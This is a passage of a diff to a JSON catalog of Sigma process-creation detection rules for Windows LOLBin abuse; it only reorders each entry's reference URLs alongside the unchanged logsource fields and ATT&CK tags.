"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_var.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -39014,9 +39012,9 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1564968845726580736", - "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml" + "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html" ], "tags": [ "attack.command_and_control", @@ -39041,8 +39039,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://codewhitesec.blogspot.com/2018/07/lethalhta.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lethalhta.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lethalhta.yml", + "https://codewhitesec.blogspot.com/2018/07/lethalhta.html" ], "tags": [ "attack.defense_evasion", @@ -39065,8 +39063,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_local_system_owner_account_discovery.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_local_system_owner_account_discovery.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md" ], "tags": [ "attack.discovery", @@ -39090,8 +39088,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logmein.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logmein.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows" ], "tags": [ "attack.command_and_control", @@ -39138,13 +39136,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", - "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_by_office_applications.yml", "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_by_office_applications.yml" + "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", + "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml" ], "tags": [ "attack.t1204.002", @@ -39170,9 +39168,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_with_wmiprvse_parent_process.yml", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_with_wmiprvse_parent_process.yml" + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml" ], "tags": [ "attack.t1204.002", @@ -39198,9 +39196,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", "https://twitter.com/nas_bench/status/1534916659676422152", "https://twitter.com/nas_bench/status/1534915321856917506", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml" ], "tags": [ @@ -39225,8 +39223,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/" ], "tags": [ "attack.defense_evasion", @@ -39249,8 +39247,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Bash/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Bash/" ], "tags": [ "attack.defense_evasion", @@ -39321,9 +39319,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml", "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", - "https://twitter.com/bohops/status/948061991012327424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml" + "https://twitter.com/bohops/status/948061991012327424" ], "tags": [ "attack.defense_evasion", @@ -39346,9 +39344,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_loadassembly.yml", "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_loadassembly.yml" + "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/" ], "tags": [ "attack.defense_evasion", @@ -39371,8 +39369,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml", + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/" ], "tags": [ "attack.defense_evasion", @@ -39396,8 +39394,8 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/", - "https://twitter.com/SwiftOnSecurity/status/1455897435063074824", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml", + "https://twitter.com/SwiftOnSecurity/status/1455897435063074824" ], "tags": [ "attack.execution", @@ -39498,12 +39496,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", - "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", - "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services", "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", + "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services" ], "tags": [ "attack.exfiltration", @@ -39526,8 +39524,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/147", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml", + "https://github.com/LOLBAS-Project/LOLBAS/pull/147" ], "tags": [ "attack.defense_evasion", @@ -39696,8 +39694,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/" ], "tags": [ "attack.command_and_control", @@ -39720,8 +39718,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/" ], "tags": [ "attack.defense_evasion", @@ -39744,10 +39742,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f" ], "tags": [ "attack.defense_evasion", @@ -39773,8 +39771,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml" ], "tags": [ @@ -39799,10 +39797,10 @@ "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", - "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", + "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/" ], "tags": [ "attack.execution", @@ -39825,8 +39823,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Ftp/" ], "tags": [ "attack.execution", @@ -39852,8 +39850,8 @@ "logsource.product": "windows", "refs": [ "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/", - "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/" ], "tags": [ "attack.defense_evasion", @@ -39876,9 +39874,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml", "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/", - "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml" + "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/" ], "tags": [ "attack.defense_evasion", @@ -39923,8 +39921,8 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Ilasm/", - "https://www.echotrail.io/insights/search/ilasm.exe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml", + "https://www.echotrail.io/insights/search/ilasm.exe" ], "tags": [ "attack.defense_evasion", @@ -39947,8 +39945,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/239", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml", + "https://github.com/LOLBAS-Project/LOLBAS/pull/239" ], "tags": [ "attack.defense_evasion", @@ -39971,8 +39969,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Jsc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Jsc/" ], "tags": [ "attack.defense_evasion", @@ -39995,8 +39993,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml", + "https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea" ], "tags": [ "attack.defense_evasion", @@ -40019,8 +40017,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1535981653239255040", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml", + "https://twitter.com/nas_bench/status/1535981653239255040" ], "tags": [ "attack.defense_evasion", @@ -40043,8 +40041,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/" ], "tags": [ "attack.defense_evasion", @@ -40067,8 +40065,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/" ], "tags": [ "attack.defense_evasion", @@ -40092,8 +40090,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml", + "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files" ], "tags": [ "attack.defense_evasion", @@ -40117,8 +40115,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml", + "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files" ], "tags": [ "attack.defense_evasion", @@ -40166,8 +40164,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1537563834478645252", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml", + "https://twitter.com/nas_bench/status/1537563834478645252" ], "tags": [ "attack.execution", @@ -40291,8 +40289,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/" ], "tags": [ "attack.defense_evasion", @@ -40316,8 +40314,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/239/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml", + "https://github.com/LOLBAS-Project/LOLBAS/pull/239/files" ], "tags": [ "attack.defense_evasion", @@ -40367,8 +40365,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml", + "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/" ], "tags": [ "attack.defense_evasion", @@ -40391,9 +40389,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", - "https://github.com/fireeye/DueDLLigence", "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", + "https://github.com/fireeye/DueDLLigence", + "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml" ], "tags": [ @@ -40417,10 +40415,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fortiguard.com/threat-signal-report/4718?s=09", - "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml", "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml" + "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", + "https://www.fortiguard.com/threat-signal-report/4718?s=09" ], "tags": [ "attack.defense_evasion", @@ -40443,8 +40441,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml", + "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20" ], "tags": [ "attack.defense_evasion", @@ -40467,9 +40465,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml", + "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/" ], "tags": [ "attack.defense_evasion", @@ -40492,9 +40490,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Replace/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml" + "https://lolbas-project.github.io/lolbas/Binaries/Replace/" ], "tags": [ "attack.command_and_control", @@ -40517,8 +40515,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Libraries/Desk/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml", + "https://lolbas-project.github.io/lolbas/Libraries/Desk/" ], "tags": [ "attack.t1218.011", @@ -40566,8 +40564,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/264", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml", + "https://github.com/LOLBAS-Project/LOLBAS/pull/264" ], "tags": [ "attack.defense_evasion", @@ -40615,9 +40613,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml", "https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/", - "https://twitter.com/0gtweet/status/1457676633809330184", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml" + "https://twitter.com/0gtweet/status/1457676633809330184" ], "tags": [ "attack.defense_evasion", @@ -40664,10 +40662,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", - "https://twitter.com/bohops/status/1477717351017680899?s=12", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml" + "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml", + "https://twitter.com/bohops/status/1477717351017680899?s=12" ], "tags": [ "attack.execution" @@ -40689,9 +40687,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml", + "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/" ], "tags": [ "attack.defense_evasion", @@ -40741,8 +40739,8 @@ "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", - "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml", + "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html" ], "tags": [ "attack.persistence", @@ -40765,9 +40763,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/", "https://twitter.com/harr0ey/status/992008180904419328", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/" ], "tags": [ "attack.defense_evasion", @@ -40790,8 +40788,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1526833181831200770", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml", + "https://twitter.com/0gtweet/status/1526833181831200770" ], "tags": [ "attack.persistence", @@ -40841,10 +40839,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/countuponsec/status/910977826853068800", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml", "https://twitter.com/countuponsec/status/910969424215232518", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml" + "https://twitter.com/countuponsec/status/910977826853068800" ], "tags": [ 